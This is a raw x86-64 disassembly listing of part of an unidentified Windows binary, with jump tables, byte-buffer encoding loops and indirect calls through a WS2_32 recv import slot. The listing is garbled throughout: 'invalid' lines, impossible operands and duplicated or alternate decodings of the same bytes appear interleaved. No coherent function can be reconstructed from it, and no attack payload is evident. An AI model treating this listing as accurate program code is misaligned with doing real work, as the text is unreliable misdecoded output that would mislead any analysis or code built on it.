add byte [rbx + rcx*4 - 0x64], cl
mov r11, qword [rsp + 0xf8]
test eax, eax
jne 0x14007a750
invalid
jmp 0x14007a7e6
mov r11, qword [rsp + 0xf8]
test eax, eax
jne 0x14007a750
invalid
invalid
jmp 0x14007a7e6
adc byte [rdi], cl
test byte [rax + rax + 0xf660000], bl
add byte [rax], al
add byte [rsi + 0xf], ah
add byte [rax], al
add byte [rsi + 0xf], ah
invalid
cmp r9, r15
jbe 0x14007b729
xchg al, dl
sldt word [rax]
invalid
xchg al, dl
sldt word [rax]
invalid
lea rax, [rbx + rbx*2]
shl rax, 5
cmp qword [r11 + rax], 0
cmp al, 3
invalid
add eax, dword [rax]
add byte [rdi], cl
test ah, bh
je case.0x14006cab3.162
add rax, r11
mov rbp, qword [rax + 8]
mov rax, qword [rsp + 0x440]
and al, 0x40
add al, 0
add byte [rbp + rcx*4 + 0x3c], cl
sub byte [rbp + 0x39], cl
cmp ecx, edi
and al, 0x40
add al, 0
cmp ecx, edi
jbe case.default.0x14007a7e4
add byte [rax - 0x75], cl
test byte [rax + rdi], ah
add al, 0
mov rax, qword [rsp + 0x438]
lea rbx, [r15 + rax]
lea ebx, [rdi + rax]
add byte [rcx - 0x73], cl
sbb al, 7
lea ebx, [rdi + rax]
mov rax, qword [rsp + 0x408]
cmp rbx, rax
ret
mov r8d, 0
add byte [rax], al
add byte [rcx + 0xf], cl
ror byte [rax + 0x29], 0xc3
ror byte [rax + 0x29], 0xc3
or byte [rax + rax], al
add byte [rax + 0x39], cl
ret
add byte [rax], al
add byte [rcx + 0xf], cl
ror byte [rax + 0x29], 0xc3
ror byte [rax + 0x29], 0xc3
ror byte [rax + 0x29], 0xc3
lea rcx, [rbx + rbx*2]
pop rbx
shl rcx, 5
lea rax, [r11 + rcx]
add eax, 0xb048d49
add rax, 0x10
add eax, 0x10
movzx ecx, byte [r11 + rcx + 0x50]
movzx ecx, byte [rbx + rcx + 0x50]
or edx, dword [rax - 0x80]
sar esi, 0xf
dec byte [rdi]
add cl, 0xfe
movzx ecx, cl
leave
dec byte [rdi]
mov dh, 0xc9
leave
lea rdx, [rcx + 1]
cmp cl, 6
invalid
cmovae rdx, r8
lea r8, [0x140208f5c]
sbb byte [rax], al
push rcx
add dword [rax + 0xf4906f9], eax
invalid
cmovae rdx, r8
invalid
invalid
invalid
invalid
invalid
sbb byte [rax], al
movsxd rcx, dword [r8 + rdx*4]
invalid
add rcx, r8
add ecx, eax
mov r8, r13
jmp rcx
invalid
loope 0x14007a830
add r15, 0x3e
add edi, 0x3e
mov rax, qword ds:[rsp + 0x240]
mov rax, qword [rsp + 0x240]
test byte [rax + rax*2], ah
add al, byte [rax]
add byte [rax], al
invalid
invalid
mov word [rax + riz*4], fs
invalid
add byte [rax], al
lea rcx, [rsp + 0xa0]
movabs al, byte [0x6640418948000000]
movq mm0, qword [rsp + 0x200]
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rcx + 0x40], rax
movdqa xmm0, xmmword [rsp + 0x200]
add byte [rax], al
mov qword [rcx + 0x40], rax
movdqa xmm0, xmmword [rsp + 0x200]
movdqa xmm0, xmmword [rsp + 0x200]
movaps xmm1, xmmword [rsp + 0x210]
adc byte [rdx], al
add byte [rax], al
invalid
add byte [rdi], cl
sub byte [rsp + 0x220], dl
xchg esp, eax
and al, 0x20
add al, byte [rax]
invalid
movaps xmm2, xmmword [rsp + 0x220]
xchg esp, eax
and al, 0x20
add al, byte [rax]
add byte [rdi], cl
movaps xmm3, xmmword [rsp + 0x230]
sub byte [rsp + 0x230], bl
add al, byte [rax]
add byte [rdi], cl
adc dword [rcx + 0x30], ebx
invalid
movups xmmword [rcx + 0x30], xmm3
xor byte [rdi], cl
adc dword [rcx + 0x20], edx
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
adc r11b, sil
movq qword [rcx], mm0
mov qword [rsp + 0x98], r15
mov dword [rsp + 0x98], edi
cwde
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
and al, 0x90
mov qword [rsp + 0x90], 0
mov rax, qword [rsp + 0x90]
mov eax, dword [rsp + 0x90]
and al, 0x90
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rsp + 0x90]
lea rcx, [0x140208f78]
mov eax, dword [rsp + 0x90]
lea rcx, [0x140208f78]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
enter 0xffffffffffff8b48, 0x74
and al, 0x68
or dword [rax + 1], 0x748b48c8
enter 0xffffffffffff8b48, 0x74
and al, 0x68
mov r13, qword [rsp + 0x260]
jmp rax
cmp byte [rsp + 0x88], 0
je case.default.0x14007a904
cmp byte [rsp + 0x270], 0xfa
jae case.default.0x14007a904
add r15, 0x3e
mov rax, qword [rsp + 0x240]
lea rcx, [rsp + 0xa0]
mov qword [rcx + 0x40], rax
movdqa xmm0, xmmword [rsp + 0x200]
movaps xmm1, xmmword [rsp + 0x210]
movaps xmm2, xmmword [rsp + 0x220]
and al, 0x20
add al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x230], bl
and al, 0x20
add al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x230], bl
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
add dword [rcx + rcx*4 - 0x44], ecx
and al, 0x98
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x18e688
add dword [rcx + rcx*4 - 0x44], ecx
and al, 0x98
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x18e688
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov rsi, qword [rsp + 0x68]
mov r13, qword [rsp + 0x260]
jmp rax
lea rcx, [rsp + 0x100]
call fcn.14006cca0
mov r13, qword [rsp + 0x260]
add qword [r13 + 0x60], rax
mov edx, 1
mov rcx, qword [rsp + 0x268]
mov r8, rbp
call fcn.14007bf10
mov rax, qword [rsp + 0x240]
and al, 0x40
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rbx*2], fs
pop rax
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
invalid
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rbx*2], fs
pop rax
pop rax
add dword [rax], eax
add byte [rax - 0x77], cl
movaps xmm0, xmmword [rsp + 0x200]
movaps xmm0, xmmword [rsp + 0x200]
movaps xmm0, xmmword [rsp + 0x200]
movaps xmm1, xmmword [rsp + 0x210]
adc byte [rdx], al
add byte [rax], al
movaps xmm2, xmmword [rsp + 0x220]
movaps xmm3, xmmword [rsp + 0x230]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov rax, qword [r13 + 0x58]
inc rax
mov qword [r13 + 0x58], rax
pop r8
mov rcx, qword [r13 + 0x38]
mov rdx, qword [r13 + 0x48]
cmp rdx, rcx
invalid
cmp byte [r9 - 0x75], r9b
push rbp
cmp rdx, rcx
invalid
mov rsi, qword [rsp + 0x68]
jne case.0x1400693d1.377
mov rcx, qword [rsp + 0x4c8]
call fcn.14007c240
mov rcx, qword [r13 + 0x38]
cmp byte [r9 - 0x75], r9b
push rbp
mov rax, qword [r13 + 0x58]
mov r8, qword [r13 + 0x40]
dec r8
dec r8
mov r9, r8
add r9, rcx
add ecx, ecx
cmovae r9, r8
mov r8, qword [r13 + 0x30]
mov qword [r13 + 0x40], r9
inc rdx
ret 0x8949
mov qword [r13 + 0x48], rdx
lea r10, [r9 + r9*2]
adc al, 0x49
push rbp
lea r10, [r9 + r9*2]
shl r10, 5
mov qword [r8 + r10], 0
mov dword [rax + rdx], 0
add eax, 0x1004c74b
add byte [rax], al
add byte [rax], al
invalid
add byte [rdi], cl
adc byte [rsp + 0x150], al
and al, 0x50
add dword [rax], eax
invalid
movups xmm0, xmmword [rsp + 0x150]
add byte [rdi], cl
adc byte [rsp + 0x160], cl
movups xmm1, xmmword [rsp + 0x160]
movups xmm2, xmmword [rsp + 0x170]
movups xmm3, xmmword [rsp + 0x180]
movups xmmword [r8 + r10 + 8], xmm0
movups xmmword [rax + rdx + 8], xmm0
adc byte [rax], r9b
movups xmmword [r8 + r10 + 0x18], xmm1
movups xmmword [r8 + r10 + 0x28], xmm2
movups xmmword [r8 + r10 + 0x38], xmm3
movdqu xmm0, xmmword [rsp + 0x190]
add byte [rax], al
movdqu xmmword [r8 + r10 + 0x48], xmm0
movq qword [rax + rdx + 0x48], mm0
mov r11, qword [rsp + 0x418]
mov ebx, dword [rsp + 0x418]
mov qword [r8 + r10 + 0x58], r11
add rbp, rax
invalid
cmp rbp, rdx
invalid
jae 0x14007aa64
invalid
invalid
add r9, rbp
cmp r9, rcx
mov edx, 0
cmovae rdx, rcx
ror dword [rcx + 0x29], 1
ror dword [rbx - 0x73], 1
or al, 0x49
ror dword [rcx + 0x29], 1
ror dword [rbx - 0x73], 1
or al, 0x49
shl rcx, 5
neg rax
mov qword [r8 + rcx], 1
mov dword [rax + rcx], 1
mov dword [rax + rcx], 1
add al, 8
add dword [rax], eax
add byte [rax], al
mov qword [r8 + rcx + 8], rax
mov dword [rax + rcx + 8], eax
cmp byte [rsp + 0x67], 0
je case.default.0x14007aaa5
invalid
cmp al, 0x49
add r15, 0x3e
add edi, 0x3e
mov qword [rsp + 0x98], r15
mov qword [rsp + 0xa0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rsp + 0x90]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rsp + 0x90]
lea rcx, [0x140208f78]
mov eax, dword [rsp + 0x90]
lea rcx, [0x140208f78]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
invalid
jmp rax
enter 0xffffffffffffe0ff, 0x48
mov eax, dword [rsp + 0x278]
js 0x14007aaaf
add byte [rax], al
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 0
mov dword [rsp + 0xa0], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x90], 3
mov rax, qword [rsp + 0x90]
mov eax, dword [rsp + 0x90]
nop
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add byte [rax - 0x75], cl
invalid
test byte [rax + rdx*4], ah
mov eax, dword [rsp + 0x90]
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x18e49a
lea rcx, [0x140208f78]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
or dword [rax + 1], 0x66e0ffc8
nop dword [rax + rax]
mov rdi, qword [rsp + 0x98]
mov esp, 0x9824
and al, 0x98
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x48
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
cmp rdi, 0x7f
cmp edi, 0x7f
cmp edi, 0x7f
invalid
jb 0x14007a5a0
cli
invalid
cmp rcx, rax
jne 0x14007ab2a
mov edx, 1
add byte [rax], al
lea rcx, [rsp + 0x40]
call fcn.1400175d0
call fcn.1400175d0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov edx, dword [rsp + 0x40]
mov byte [rdx + rax], 0xff
inc rax
mov qword [rsp + 0x200], rax
add byte [rax], al
add byte [rax], al
cmp rax, rcx
ja case.default.0x14007ad61
enter 0xffffffffffff870f, 0x3b
or eax, dword [rax]
add byte [rax - 0x7d], cl
mov dword [rcx + 0x24448948], 0xff814848
and al, 0x48
invalid
invalid
invalid
add byte [rax], 0
add rdi, 0xffffffffffffff81
mov qword [rsp + 0x48], rax
and al, 0x48
and al, 0x48
cmp rdi, 0x80
jb 0x14007abbd
nop dword [rax]
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
cmp ecx, eax
jne case.0x140071cca.120
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.1400175d0
call fcn.1400175d0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov edx, edi
or dl, 0x80
mov r8, qword [rsp + 0x40]
mov byte [r8 + rax], dl
inc rax
mov qword [rsp + 0x200], rax
and al, 0
add al, byte [rax]
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xffffffffffffffdd
or al, byte [rax]
invalid
and al, 0
add al, byte [rax]
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xffffffffffffffdd
or al, byte [rax]
add byte [rax - 0x77], cl
and al, 0x48
mov qword [rsp + 0x48], rax
mov rcx, rdi
shr rcx, 7
cmp rdi, 0x3fff
mov rdi, rcx
ja 0x14007ab60
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
jne 0x14007a5c2
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.1400175d0
call fcn.1400175d0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
jmp 0x14007a5c2
add byte [rax], al
add byte [rax], al
movzx eax, byte [rsp + 0xd8]
add al, 0xfe
movzx eax, al
lea rcx, [rax + 1]
cmp al, 6
mov eax, 0
cmovae rcx, rax
lea rdx, [0x140208f8c]
movsxd rax, dword [rdx + rcx*4]
mov cl, byte [rax + 1]
sar bh, 1
jmp rax
mov cl, byte [rax + 1]
sar bh, 1
jmp rax
invalid
cmp qword [rsp + 0x98], 0
cmp dword [rsp + 0x98], 0
add byte [rdi], cl
test byte [rbx + rax - 0x74b80000], bh
pushfq
and al, 0xa0
add byte [rax], al
add byte [rax - 0x75], cl
mov ah, 0x24
test al, 0
add byte [rax], al
je 0x14007afe7
mov rbx, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0xa8]
jmp 0x14007b000
mov rsi, qword [rsp + 0x98]
lea rcx, [rsp + 0xa0]
call fcn.14007c2e0
invalid
add byte [rax], al
mov ah, 0x24
cwde
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + riz*4], fs
add byte [rax], al
add al, ch
mov edx, dword [rsi]
invalid
add byte [rax], al
invalid
mov r8, rdx
movzx ecx, byte [rsp + 0xe0]
add byte [rbp - 0x57f07af], cl
cli
add byte [rbp - 0x57f07af], cl
cli
setb dl
test cl, cl
setne r9b
and r9b, dl
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov rsi, qword [rsp + 0x68]
mov rdx, rax
call fcn.14007c420
jmp 0x14007b115
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x98]
cmp qword [r13 + 0x48], rax
jbe 0x14007b75d
mov rax, qword [rsp + 0x98]
cmp qword [r13 + 0x48], rax
jbe 0x14007b75d
add rax, qword [r13 + 0x40]
mov rdi, qword [r13 + 0x30]
mov rcx, qword [r13 + 0x38]
cmp byte [rax + 0x39], cl
enter 0xba, 0
add byte [rax], al
invalid
cmp byte [rax + 0x39], cl
enter 0xba, 0
add byte [rax], al
invalid
cmovae rdx, rcx
cmovae edx, ecx
sub rax, rdx
lea rbx, [rax + rax*2]
lea ebx, [rax + rax*2]
lea ebx, [rax + rax*2]
shl rbx, 5
movzx eax, byte [rdi + rbx + 0x50]
invalid
push rax
invalid
test al, al
je 0x14007ace8
or al, 0xf8
clc
cmp al, 0xfa
jb 0x14007b777
invalid
invalid
or al, byte [rax]
invalid
invalid
or al, byte [rax]
add byte [rax - 0x75], cl
mov eax, dword [rsp + 0x48]
mov rax, qword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
and al, 0x50
cmp rcx, rax
jne 0x14007ad10
invalid
sal dword [rbp + 0x19], 0xba
add dword [rax], eax
sbb dword [rdx + 1], edi
mov edx, 1
add byte [rax], al
lea rcx, [rsp + 0x40]
call fcn.1400175d0
dec dword [rax - 0x75]
and al, 0x48
dec dword [rax - 0x75]
and al, 0x48
mov eax, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov edx, dword [rsp + 0x40]
mov byte [rdx + rax], 0x40
inc rax
add al, 2
add al, byte [rax + 0x48]
inc eax
inc rax
mov qword [rsp + 0x200], rax
add byte [rax], al
cmp rax, rcx
ja case.default.0x14007ad61
push rbp
or dword [rax], eax
add byte [rax - 0x73], cl
lea rsi, [rdi + rbx]
lea rsi, [rdi + rbx]
add rsi, 0x10
mov qword [rsp + 0x48], rax
and al, 0x48
invalid
and al, 0x48
movzx eax, byte [rdi + rbx + 0x50]
push rax
add al, 0xfe
movzx eax, al
lea rcx, [rax + 1]
cmp al, 6
mov eax, 0
cmovae rcx, rax
lea rdx, [0x140208fa8]
adc eax, 0x18e24e
adc eax, 0x18e24e
loop case.0x140079275.154
add byte [rax + 0x63], cl
add al, 0x8a
movsxd rax, dword [rdx + rcx*4]
add rax, rdx
jmp rax
sar bh, 1
loopne case.0x140071cca.119
invalid
cmp qword [rsi], 0
cmp dword [rsi], 0
add byte [rdi], cl
je 0x14007b0d7
test byte [rdx + 3], ch
add byte [rax], al
mov rcx, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
jmp 0x14007b0f0
invalid
add byte [rsi + 0xf], ah
invalid
mov rax, qword [rsp + 0xa0]
cmp qword [r13 + 0x48], rax
jbe 0x14007b791
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rcx + 0x39], cl
jbe 0x14007b791
xchg bh, bh
or dword [rax], eax
add byte [rax], al
add rax, qword [r13 + 0x40]
mov rbx, qword [rsp + 0x98]
add byte [rax], al
invalid
add rax, qword [r13 + 0x40]
mov rbx, qword [rsp + 0x98]
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x75], cl
mov rsi, qword [r13 + 0x30]
mov rsi, qword [r13 + 0x30]
xor byte [rcx - 0x75], cl
cmp byte [r8 + 0x39], r9b
enter 0xba, 0
mov rcx, qword [r13 + 0x38]
cmp rax, rcx
mov edx, 0
add byte [rax], al
add byte [rax], al
cmovae rdx, rcx
cmovae edx, ecx
sub rax, rdx
lea rdi, [rax + rax*2]
shl rdi, 5
movzx eax, byte [rsi + rdi + 0x50]
push rax
push rax
test al, al
je 0x14007add0
sal byte [rdx + rcx + 0xc], 0xf8
or al, 0xf8
cmp al, 0xfa
jb 0x14007b7ab
cmp rbx, 0x3f
sti
invalid
jae 0x14007ae06
mov rax, qword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
jne 0x14007adfe
mov edx, 1
add byte [rax], al
lea rcx, [rsp + 0x40]
call fcn.1400175d0
mov rax, qword [rsp + 0x48]
and al, 0x48
mov rcx, qword [rsp + 0x50]
or bl, 0x40
jmp 0x14007aee0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
and al, 0x50
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
jne 0x14007ae2e
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.1400175d0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rax], 0x7f
inc rax
mov qword [rsp + 0x200], rax
cmp rax, rcx
ja case.default.0x14007ad61
xchg dword [rdi], esi
or byte [rax], al
invalid
xchg dword [rdi], esi
or byte [rax], al
add byte [rax - 0x7d], cl
ret
add rbx, 0xffffffffffffffc1
mov qword [rsp + 0x48], rax
cmp rbx, 0x80
sti
add byte [rax], 0
add byte [rdx + 0x60], dh
sti
add byte [rax], 0
add byte [rdx + 0x60], dh
nop dword [rax]
mov rcx, qword [rsp + 0x50]
and al, 0x50
cmp rcx, rax
jne 0x14007ae83
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.1400175d0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov edx, ebx
or dl, 0x80
mov r8, qword [rsp + 0x40]
mov byte [r8 + rax], dl
inc rax
mov qword [rsp + 0x200], rax
cmp rax, rcx
ja case.default.0x14007ad61
mov qword [rsp + 0x48], rax
mov rcx, rbx
shr rcx, 7
cmp rbx, 0x3fff
mov rbx, rcx
ja 0x14007ae60
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
jne 0x14007aee0
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.1400175d0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rax], bl
inc rax
mov qword [rsp + 0x200], rax
cmp rax, rcx
ja case.default.0x14007ad61
mov qword [rsp + 0x48], rax
lea rcx, [rsi + rdi]
add rcx, 0x10
rcl dword [rax], 0xe8
rcl byte [rbx], cl
add byte [rax], al
invalid
rcl dword [rax], 0xe8
rcl byte [rbx], cl
add byte [rax], al
invalid
add byte [rax - 0x77], cl
ror dword [rbp + rcx*4 + 0x44], 0x24
jmp 0x14007b10b
add dword [rax], eax
invalid
mov rcx, rax
lea r8, [rsp + 0x40]
jmp 0x14007b10b
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rsi + 0xa], bh
mov esi, 0xa
mov esi, 0xa
add byte [rax], al
lea rbx, [0x140196b74]
jmp 0x14007b000
add byte [rax], al
invalid
add byte [rax], al
add byte [rsi + 7], bh
mov esi, 7
mov esi, 7
add byte [rax], al
lea rbx, [0x140196b7e]
jmp 0x14007b000
add byte [rax], al
invalid
mov esp, 0xc3e90011
add byte [rax], al
add byte [rsi + 7], bh
mov esi, 7
mov esi, 7
add byte [rax], al
lea rbx, [0x140196b85]
jmp 0x14007b000
mov dl, 0
add byte [rax], al
mov esp, 0xb2e90011
mov dl, 0
add byte [rax], al
add byte [rax], al
add byte [rsi + 5], bh
mov esi, 5
mov esi, 5
add byte [rax], al
lea rbx, [0x140196b8c]
jmp 0x14007b000
add byte [rax], al
invalid
mov esp, 0xa1e90011
add byte [rax], al
add byte [rsi + 9], bh
mov esi, 9
mov esi, 9
add byte [rax], al
lea rbx, [0x140196b91]
jmp 0x14007b000
mov esp, 0x90e90011
add byte [rax], al
add byte [rsi + 7], bh
mov esi, 7
mov esi, 7
add byte [rax], al
lea rbx, [0x140196b9a]
jmp 0x14007b000
mov esp, 0x7fe90011
add byte [rax], al
add byte [rdx + 5], bh
mov edx, 5
mov edx, 5
add byte [rax], al
lea rcx, [0x140196b8c]
jmp 0x14007b0f0
mov ebx, 0x5ee90011
add dword [rax], eax
add byte [rdx + 0xa], bh
mov edx, 0xa
mov edx, 0xa
add byte [rax], al
lea rcx, [0x140196b74]
jmp 0x14007b0f0
mov edx, 7
add byte [rax], al
lea rcx, [0x140196b7e]
jmp 0x14007b0f0
mov edx, 7
lea rcx, [0x140196b85]
jmp 0x14007b0f0
mov edx, 9
lea rcx, [0x140196b91]
jmp 0x14007b0f0
mov edx, 7
lea rcx, [0x140196b9a]
jmp 0x14007b0f0
movzx ecx, byte [rsp + 0xa0]
call fcn.14007ec70
mov rbx, rax
mov rsi, rdx
nop word [rax + rax]
lea rcx, [rsp + 0x98]
call fcn.14007c2e0
mov r14, rax
mov r12, rdx
movzx eax, byte [rsp + 0xd8]
test al, al
je 0x14007b058
or al, 0xf8
cmp al, 0xfa
jae 0x14007b058
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
jne 0x14007b04d
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.1400175d0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rax], reloc.WS2_32.dll_recv
jmp 0x14007b089
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
jne 0x14007b080
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.1400175d0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rax], 0
inc rax
mov qword [rsp + 0x200], rax
cmp rax, rcx
ja case.default.0x14007ad61
mov qword [rsp + 0x48], rax
mov rcx, rbx
mov rdx, rsi
lea rsi, [rsp + 0x40]
mov r8, rsi
call fcn.14007c700
mov rcx, r14
mov rdx, r12
mov r8, rsi
call fcn.14007c700
movabs r12, 0x100000001b3
mov r14d, dword [rsp + 0x84]
jmp 0x14007b110
movzx ecx, byte [rsi + 8]
call fcn.14007ec70
mov rcx, rax
nop word cs:[rax + rax]
lea rdi, [rsp + 0x40]
mov r8, rdi
call fcn.14007c700
invalid
add byte [rax], al
mov rcx, rsi
call fcn.14007c2e0
mov rcx, rax
mov r8, rdi
clc
call fcn.14007c700
mov rsi, qword [rsp + 0x68]
mov rax, qword [rsp + 0xe0]
mov eax, dword [rsp + 0xe0]
mov qword [rsp + 0x1a0], rax
movups xmm0, xmmword [rsp + 0xd0]
adc byte [rsp + 0xd0], al
adc byte [rsp + 0xd0], al
movaps xmmword [rsp + 0x190], xmm0
add byte [rax], al
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xb0], dl
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xb0], dl
movups xmm3, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x180], xmm3
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x180], ebx
movaps xmmword [rsp + 0x170], xmm2
sub dword [rsp + 0x170], edx
xchg esp, eax
and al, 0x70
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x160], ecx
movaps xmmword [rsp + 0x160], xmm1
movaps xmmword [rsp + 0x150], xmm0
sub dword [rsp + 0x150], eax
mov rax, qword [rsp + 0x470]
add byte [rax], al
lea rcx, [rsp + 0x478]
cmp rax, 5
ja case.0x14007b1a5.4
lea rcx, [0x140208fc4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
lea rcx, [rsp + 0x478]
jmp rax
mov r15, qword [rsp + 0x2f0]
mov r13, qword [rsp + 0x2f8]
mov rbx, qword [rsp + 0x330]
mov rsi, qword [rsp + 0x320]
lea rbp, [rsp + 0x178]
mov rax, qword [rsp + 0x318]
and al, 0x18
add eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x68
and al, 0x18
add eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x68
lea r14, [rsp + 0x190]
add byte [rax], al
mov rdi, qword [rsp + 0x310]
jmp 0x14007b252
mov esp, 0x31024
add bl, ch
nop
nop
nop
mov r13, qword [rsi + rax*8 + 0x18]
mov r15d, 1
invalid
mov edi, 1
mov qword [rsp + 0x2f0], r15
mov qword [rsp + 0x2f8], r13
mov rcx, qword [rsi + rax*8 + 0x40]
mov qword [rbp + 0x20], rcx
movdqu xmm0, xmmword [rsi + rax*8 + 0x20]
invalid
invalid
invalid
movups xmm1, xmmword [rsi + rax*8 + 0x30]
movups xmmword [rbp + 0x10], xmm1
movdqu xmmword [rbp], xmm0
mov qword [rsp + 0x150], 0
mov rax, qword [rsp + 0x178]
mov rdx, qword [rsp + 0x180]
mov r8, qword [rsp + 0x188]
mov rcx, r14
call qword [rax + reloc.WS2_32.dll_recv]
test r15, r15
je 0x14007b280
cmp r13, rbx
jae 0x14007b66e
lea rax, [r13*8]
add rax, r13
cmp qword [rsi + rax*8 + 0x10], 0
jne 0x14007b1f0
xor r15d, r15d
jmp 0x14007b1fb
cmp rdi, qword [rsp + 0x68]
je 0x14007b3b5
lea r12, [rdi + 0x68]
mov qword [rsp + 0x310], r12
mov r15, qword [rdi]
mov r13, qword [rdi + 8]
movups xmm0, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xb0], xmm0
movups xmm0, xmmword [rdi + 0x20]
movaps xmmword [rsp + 0xa0], xmm0
movups xmm0, xmmword [rdi + 0x10]
movaps xmmword [rsp + 0x90], xmm0
cmp r15, 2
je 0x14007b350
movups xmm0, xmmword [rdi + 0x40]
movups xmm1, xmmword [rdi + 0x50]
lea rax, [rsp + 0x158]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x98]
mov rax, qword [rcx + 0x20]
mov qword [rbp + 0x20], rax
movdqu xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp + 0x10], xmm1
movdqu xmmword [rbp], xmm0
mov qword [rsp + 0x2f0], r15
mov qword [rsp + 0x2f8], r13
mov qword [rsp + 0x150], 1
mov rax, qword [rsp + 0x158]
test rax, rax
je 0x14007b348
mov rdx, qword [rsp + 0x160]
mov r8, qword [rsp + 0x168]
lea rcx, [rsp + 0x170]
call qword [rax + reloc.WS2_32.dll_recv]
mov rdi, r12
jmp 0x14007b234
mov r8, qword [rsp + 0x68]
mov rax, r8
sub rax, r12
movabs rcx, 0x4ec4ec4ec4ec4ec5
mul rcx
mul ecx
mul ecx
cmp r8, r12
je 0x14007b3b5
mov rbx, rdx
shr rbx, 5
add rdi, 0xc0
mov eax, 0xeb000000
invalid
mov eax, 0xeb000000
invalid
lea rcx, [rdi - 0x28]
